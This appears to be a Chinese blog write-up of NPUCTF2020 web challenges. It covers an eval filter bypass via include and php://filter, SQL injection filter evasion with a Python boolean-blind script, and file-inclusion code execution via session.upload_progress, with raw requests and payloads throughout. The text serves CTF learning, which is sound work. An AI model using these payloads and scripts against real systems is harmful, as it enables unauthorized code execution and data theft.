NPUCTF2020 Web题刷题复盘:PHP代码审计与SQL注入过滤绕过实战
NPUCTF2020是前几年打得比较火的一场CTFWeb方向的题目数量不算多但质量在入门到进阶的区间里卡得很准。我刷这套题的时候正好在补PHP代码审计和手工注入的基础一轮下来收获最大的不是某一道题的flag而是把几个高频绕过点串成了自己的方法论。这篇就当刷题记录写出来重点不是贴答案是把每道题的思考路径、卡住的点、以及最后怎么绕过去的逻辑讲清楚。如果你准备刷CTF Web方向这套题很适合拿来练手。1. NPUCTF2020 Web题目速览与刷题策略1.1 那一年的Web题考了些什么NPUCTF2020的Web题目整体风格偏基础但少见那种直接送分的情况。翻了一遍题目大概覆盖了这几个方向eval代码执行、SQL注入过滤绕过、文件包含与伪协议、命令执行、PHP反序列化、以及一些逻辑漏洞。难度阶梯比较友好既有十几分钟能出结果的题也有需要反复试payload卡上一两个小时的题。从刷题角度来说这套题最大的价值在于“过滤绕过的花样多”。你会发现很多题并不是没有漏洞而是漏洞被一层一层的正则过滤给挡住了。比如空格被过滤、关键字被过滤、括号被过滤、注释符被过滤甚至单双引号也被过滤。这些过滤规则单看都不难突破但组合在一起就需要你对语言本身有足够的熟悉度。我当时刷完的感受是这套题比很多堆奇葩考点的比赛要实用得多因为它的过滤规则基本都是真实Web应用里会出现的东西。换句话说刷完这套题你以后看代码审计题会有明显的手感提升。1.2 我推荐的刷题顺序我自己的刷题习惯是先做有源码能读的题再做需要手工探测的注入题最后做依赖知识储备的构造类题目。这套题我也按这个顺序来。先把eval和文件包含这两道部分源码可以直接看到的题解决因为这类题目突破口最直观题解过程能快速带来正反馈。然后做SQL注入这道题需要手工测试和脚本辅助适合把状态切到“耐心探测”模式。最后才回头做命令执行、反序列化这类需要更完整知识体系的题目。这样排序的另一个原因是刷题效率来自正反馈的密度。如果一上来就死磕反序列化浪费一整天还不出结果很容易把刷题的节奏打乱。先把能稳拿的分拿到心态会稳很多。后面你会发现做eval和文件包含时积累的伪协议经验做SQL注入时积累的过滤绕过思路在做命令执行题时全都用得上。2. 无括号代码执行eval题的绕过链2.1 复现一下题目过滤逻辑这道题打开以后给了一个类似代码审计的场景关键逻辑复现出来大概长这样?php if (isset($_POST[cmd])) { $code $_POST[cmd]; if (!preg_match(/;||\\|\||\\\\|\*|preg_match|getallheaders|system|passthru|exec|shell_exec|assert|pcntl_exec|eval|\(|\)| /i, $code)) { eval($code); } else { echo hacker; } } ?过滤规则一眼看过去密密麻麻分号、反引号、单双引号、反斜杠、星号、常见命令执行函数、括号、空格全部拉黑。这意味着最常见的system(ls)、assert($_POST[1])这类写法全部失效。2.2 过滤规则逐条拆解先别急着想绕过把每条过滤的含义理清楚。分号和空格被过滤意味着你不能结束一个语句也不能在关键字和参数之间加空格。在PHP里最后一条语句可以省略分号所以分号的问题还好解决。空格被过滤比较难受但PHP很多关键字和变量之间不需要空格也能被解析。括号被过滤这个才是最关键的。PHP里几乎所有函数调用都需要括号没有括号你没法调用函数。反引号被过滤命令执行运算符也不可用。单双引号被过滤意味着你没法直接构造字符串字面量。把这些限制放在一起看常规的RCE路径基本都被堵死了。那还有什么办法思路要转换一下既然函数调用被卡死那就找不需要括号、不需要引号、不需要空格就能执行的东西。2.3 用include绕过括号和空格这里有一个很多新手容易忽略的知识点PHP里有一部分关键字是语言结构不是函数调用时不需要括号。典型的有include、require、echo、isset、empty等。重点是include。它后面可以直接跟一个变量表达式不需要括号也不需要空格把两个token分开。也就是说include$_GET[1]这样连在一起写PHP解析器也能正确识别。那payload就很清楚了POST /index.php cmdinclude$_GET[1]1php://filter/readconvert.base64-encode/resourceflag.php因为过滤规则里没有过滤include也没有过滤$_GET整段代码include$_GET[1]完全绕过了所有过滤条件。eval拿到的字符串是include$_GET[1]执行后相当于包含了$_GET[1]指向的文件。2.4 完整Payload与抓包验证在Burp里实际操作的时候POST的数据大概是这样的POST /index.php HTTP/1.1 Host: 127.0.0.1 Content-Type: application/x-www-form-urlencoded cmdinclude$_GET[1]1php://filter/readconvert.base64-encode/resourceflag.php返回的页面里会有一段base64编码的字符串。拿去解码就能看到flag.php的原始内容PD9waHAgJGZsYWcgPSAnZmxhZ3sxMjN9JzsgPz4解码后是?php $flag flag{123}; ?这里解释一下为什么非要套一层convert.base64-encode。直接include flag.php不是不行问题在于flag.php里的内容是PHP代码被include之后会被解析执行而你看到的最多是一张空白页因为代码只是给变量赋值并没有echo出来。用base64过滤器之后文件内容会以base64字符串的形式输出代码不会被解析你就能直接看到源码。2.5 这个绕过思路还能扩展到哪这道题虽然是个小巧的绕过题但里面藏的知识点可以外推一大片。如果目标flag不在某个php文件里而在/flag或/proc/self/environ这种系统文件里也能用同样的include方式去读。比如cmdinclude$_GET[1]1php://filter/readconvert.base64-encode/resource/flag再往后延伸如果题目让你真正getshell不能调用命令执行函数的情况下常见的思路是利用include去包含一个你控制内容的临时文件或日志文件然后靠include执行里面的PHP代码。这也正是后面那道文件包含题的核心思路。注意这道题在Burp里直接发请求比较稳。放到浏览器地址栏里测的话符号会被浏览器当成参数分隔符或者触发特殊解析容易被截断导致$_GET[1]接收不到完整伪协议字符串。3. 空格与关键字双过滤SQL注入题的手工与脚本解法3.1 登录点的过滤规则复现这道题给了一个登录页面需要提交用户名和密码。我本地复现出来的核心逻辑大概是这样?php $username $_POST[username]; $password $_POST[password]; $sql select * from users where username$username and password$password; if (preg_match(/ |\t|\r|\n|#|--|or|and|union|select|sleep|benchmark/i, $username . $password)) { die(hacker); } $result mysqli_query($conn, $sql); if (mysqli_num_rows($result) 0) { echo login success; } else { echo login failed; } ?过滤规则里有几个重点空格被过滤、换行被过滤、or和and被过滤、union和select被过滤、注释符号#和--被过滤。这套规则看起来好像堵得很死但对熟悉MySQL的人来说只是绕路的距离变长了而已。3.2 用||构造永真登录先想登录绕过。SQL语句是select * from users where username$username and password$password如果我们把用户名提交成admin||11那么SQL会变成select * from users where usernameadmin||11 and password...这里有个关键点MySQL里||默认是逻辑或运算符不是字符串拼接符除非数据库开启了PIPES_AS_CONCAT模式。所以admin||11这个表达式的结果是1where条件成立登录成功。为什么用||而不用or因为or在过滤名单里||不在。这就是典型的“等价格式绕过关键字过滤”思路。payload可以写成usernameadmin||11 password任意值但是注意空格被过滤了所以SQL里分隔关键字和值的空格都没了MySQL解析会出错。这里需要把空格替换成MySQL能识别的空白字符。3.3 空格被过滤之后的绕过姿势MySQL支持的空白字符不只是空格本身还包括%09Tab、%0a换行、%0b、%0c、%0d以及/**/注释。既然普通空格被preg_match过滤了那就用/**/来替代。登录绕过最终payloadusernameadmin/**/||/**/11 passwordx这里/**/在MySQL里是注释但注释中间的内容会被当成一个不可见字符来分隔token所以admin/**/||/**/11解析起来等价于admin || 11。如果你想要更稳的变体%0a也是一个选择。但%0a在POST body里有时会被中间件改写而/**/是纯文本注释稳定性更高。实测下来大部分题目的preg_match只过滤了空格本身没有考虑MySQL的多字符空白符这就是这道题的关键突破点。3.4 布尔盲注的脚本化爆破登录绕过只是第一步进到后台之后还要拿数据。这道题过滤了union和select那常规union注入基本没戏。再看回显登录成功后只返回“login success”没有数据回显点所以要走盲注。布尔盲注的思路是构造一个条件当条件成立时登录成功不成立时登录失败然后逐字符猜解。由于or被过滤条件可以用||来组织。比如判断当前数据库名长度是否大于3usernameadmin/**/||/**/if(length(database())3,1,0)||11 passwordx如果返回login success说明条件为真。if如果被过滤不同题目过滤不同可以换成case when语法usernameadmin/**/||/**/case/**/when/**/length(database())3/**/then/**/1/**/else/**/0/**/end/**/||11 passwordx一个一个手动试太痛苦这时候就上脚本。下面这个Python脚本是当时用的二分法逻辑核心就是循环调用登录接口判断条件真伪import requests url http://127.0.0.1/sql/index.php def do(payload): data { username: payload, password: x } r requests.post(url, datadata) return login success in r.text def judge(expr): payload admin/**/||/**/if({expr},1,0)||11.format(exprexpr) return do(payload) def get_length(sql): left, right 1, 50 while left right: mid (left right) // 2 if judge(length({sql}){mid}.format(sqlsql, midmid)): left mid 1 else: right mid return left def get_char(sql, pos): for c in range(32, 127): if judge(ascii(substr(({sql}),{pos},1)){c}.format(sqlsql, pospos, cc)): continue else: low 32 high c while low high: mid (low high) // 2 if judge(ascii(substr(({sql}),{pos},1)){mid}.format(sqlsql, pospos, midmid)): low mid 1 else: high mid return chr(low) return ? db_len get_length(database()) print(database length:, db_len) for i in range(1, db_len 1): print(get_char(database(), i), end) print()这段脚本的逻辑是先用二分法得到长度再逐位用二分法猜字符。每次请求判断的是ascii(...)mid这个条件是否成立再缩小范围直到确定字符。盲注写脚本的核心思路就是二分法比线性遍历快得多。3.5 这类题复盘时应该记什么刷完这道题我建议你至少把下面这些点记进笔记空格被过滤时MySQL里可用的替代字符有%09、%0a、%0b、%0c、%0d、/**/or和and被过滤时可以用||和替代注释符#和--被过滤时可以用;%00截断或者利用闭合单引号构造永真式if被过滤时可以用case when ... then ... else ... end被过滤时可以用like、in、regexp替代这套“过滤规则 → 等价格式”的映射表几乎可以套用到所有SQL注入过滤绕过题里。注意POST请求里的#如果没做URL编码会被浏览器当成锚点处理导致payload不完整。我刚开始测的时候用admin#直接拦不到包后来在Burp里手动把#改成%23才正常。4. 文件包含题从伪协议读源码到session包含4.1 入口与第一波读源码这道题打开之后只有一个参数入口?filexxx。修改参数尝试?file/etc/passwd回显了内容确认是文件包含漏洞。接下来常规操作用php://filter读源码GET /index.php?filephp://filter/readconvert.base64-encode/resourceindex.php返回一段base64解码之后看到的关键逻辑是?php if (strpos($_GET[file], flag) ! false) { die(no no no); } include($_GET[file]); ?也就是说它ban掉了文件名里带flag的字符串。按套路先试一下?fileflag.php果然直接被拦了。4.2 常规伪协议失效后怎么办目标已经很明确读取flag文件。直接包含被拦那就绕。第一个想到的是用data://伪协议执行代码?filedata://text/plain,?php system(cat flag.php);?但页面报错说明allow_url_include是Offdata://不可用。再用php://input试也不行。远程文件包含由于allow_url_fopen/allow_url_include的限制基本走不通。这时候要转换思路目标不是“直接读flag”而是“把flag内容搞出来”。既然不能直接读那就让服务端帮忙执行命令或者通过间接文件来带出内容。4.3 利用session.upload_progress写PHP代码想起之前在看文件包含题目时常用的一个技巧session.upload_progress。PHP在文件上传时会记录上传进度到session文件里而且上传时POST的PHP_SESSION_UPLOAD_PROGRESS字段值会被写进session文件。如果把该字段值设置成PHP代码那么包含session文件就能执行这些代码。session文件的默认路径是/tmp/sess_PHPSESSID只要知道PHPSESSID就能预测文件路径。具体步骤先发一个GET请求从响应头里拿PHPSESSIDPOST一个multipart表单上传一个文件。文件名故意写成?php system(cat /flag);?POST字段带一个PHP_SESSION_UPLOAD_PROGRESS值任意写请求?file/tmp/sess_PHPSESSID做这步操作的时候Burp里的原始包大概是POST /index.php HTTP/1.1 Host: 127.0.0.1 Content-Type: multipart/form-data; boundary----WebKitFormBoundaryabc Cookie: PHPSESSIDabcdef123456 Content-Disposition: form-data; namePHP_SESSION_UPLOAD_PROGRESS ?php system(cat /flag);? ------WebKitFormBoundaryabc Content-Disposition: form-data; namefile; filenamex.php Content-Type: text/plain x ------WebKitFormBoundaryabc--这个请求执行后PHP会在session文件里记录类似这样的内容upload_progress_?php system(cat /flag);?|...然后请求GET /index.php?file/tmp/sess_abcdef123456服务器会include这个session文件文件里的?php ... ?代码会被解析执行flag就出来了。4.4 触发包含并验证实际操作时可能会遇到几个小问题。一个是我构造的filenamex.php和namePHP_SESSION_UPLOAD_PROGRESS的顺序不能错PHP会判断第一个上传的文件和进度字段。另一个是session文件的路径不一定在/tmp有的环境配置了session.save_path到别的地方。如果包含失败可以通过phpinfo或者内存报错信息来确认路径。还有一点system函数在当前环境是否可用、/flag路径是否存在都会影响结果。如果system被禁用可以换file_get_contents(/flag)配合echo或者用print_r(scandir(/))先看根目录结构。这道题复盘下来的核心收获是文件包含漏洞和session机制结合起来可以形成一条不需要上传webshell文件就能执行代码的利用链。理解了这个原理以后遇到任何session文件内容可控的题目都能顺手试一下这条路。注意上传的临时文件名和session文件写入时机有关如果请求结束后临时文件被删掉session文件里可能还没有写入进度。所以这个payload要在同一个请求里完成上传和进度触发不能拆成两个请求。5. 刷题踩坑实录与常用工具链5.1 最容易翻车的五个细节刷这套题的过程中我在一些细节上栽了不少跟头整理出来算是给大家省时间。第一个是URL编码问题。测试SQL注入时把#直接放在URL里会被当成锚点导致payload丢失。正确做法是使用%23。测试%0a绕过空格时也要确认中间件有没有对换行符做二次处理。第二个是伪协议读源码的base64结果里可能包含和/字符在URL场景里直接拼接会出问题。我一般用Burp的Decoder或者写Python脚本解码不要在地址栏里手动处理。第三个是过滤正则是否忽略大小写。很多题目会用/i修饰符这意味着UNION、Select这类大小写变体全部无效。刷题之前先确认这一点能少走很长一段弯路。第四个是PHP版本差异。同一道题的payload在PHP 5.6和PHP 7.x下的表现可能完全不同比如$_GET和include的解析规则、伪协议的支持范围、session文件的序列化格式都会因为版本不同产生差异。本地复现时尽量用和题目一致的版本。第五个是命令执行时的空格问题。如果一道题过滤了空格但没过滤命令拼接可以用${IFS}、$IFS$9、等替代。但不同题目对特殊符号的过滤程度不一样实测下来${IFS}在大部分Linux环境下可用在部分环境的命令解析上没那么稳定。5.2 我这份刷题流程里常用的工具工具用途我的使用习惯Burp Suite抓包、改包、重放、对比响应测SQL注入和文件包含时基本全程挂着Python requests写自动化爆破脚本盲注、目录爆破、批量测试payloadHackBar / 浏览器F12快速修改GET/POST参数单个payload快速验证时比较方便YakitWeb Fuzzer、MITM、插件市场轻量比Burp启动快测小项目时用ffuf / 7kbscan目录扫描拿字典扫常见路径发现隐藏文件目录扫描这部分值得多说一句。CTF题目不会像真实网站那样把所有文件都暴露出来但常见的www.zip、.git、robots.txt、flag.php、admin.php这些路径值得扫一遍。字典不用太大关键是覆盖CTF的常见命名习惯。5.3 如何快速复现NPUCTF2020的Web题目环境复现题目环境其实不难。比如eval和SQL注入这两道题核心就是一个PHP文件加一个MySQL。用Docker起一个php:7.4-apache容器把源码挂进去就能快速搭建。docker run -d --name npuctf-web -p 8080:80 -v /path/to/www:/var/www/html php:7.4-apache需要数据库的话再起一个MySQL容器把连接信息填进config.php。别忘了修改PHP配置把allow_url_include、session.upload_progress.enabled这些选项按需打开。复现环境的目的是验证自己的payload和过滤逻辑保持环境干净可控很重要。6. 复盘之后的个人习惯与建议6.1 建立自己的payload字典刷完这套题之后我最大的改变是开始系统整理payload字典。以前都是从网上看到一条记一条用的时候翻笔记结果每次都要重新试一遍才知道哪个能用。后来换成按场景分类整理比如“SQL注入-空格绕过”“SQL注入-关键字绕过”“文件包含-伪协议”“命令执行-无字母数字”每个分类下面列实际的请求示例和过滤条件。这套字典到现在还在用。遇到新题时先看过滤规则再对应到字典的分类里找候选payload速度比从零开始构造快很多。6.2 把一道题吃到什么程度才算完我现在判断一道题是否刷透标准是三条能不能不看答案重新打一遍、能不能给别人讲清楚每个步骤的原因、能不能自己加一条过滤规则再解出来。前两条好理解第三条最有用。比如eval题原题过滤了括号和空格那你可以自己改一下加上过滤include再想想怎么绕过。这种“魔改题目”的练习方式比连续刷十道同类型题更能逼你理解原理。6.3 复盘比刷题重要在哪里最后分享一个我自己的体会。早期刷题时我经常是解出来一道题就赶紧去下一道看起来效率很高但过两周回头看发现自己连当时用过的伪协议都记不全了。后来改为每道题花十分钟写复盘不写答案只写两条卡在哪里、用了什么核心突破点。坚持一段时间后我发现真正有价值的是那些卡住时的错误路径。因为下次遇到同类题目你大概率还会先走一遍错误路径只有把它们记录下来才能在下一次更快避开。最终的结果是刷题量变少了但通过的题目变多了。这套NPUCTF2020的Web题刷完如果你也能把每道题的“为什么”讲明白那它的价值就已经超出了几百分本身。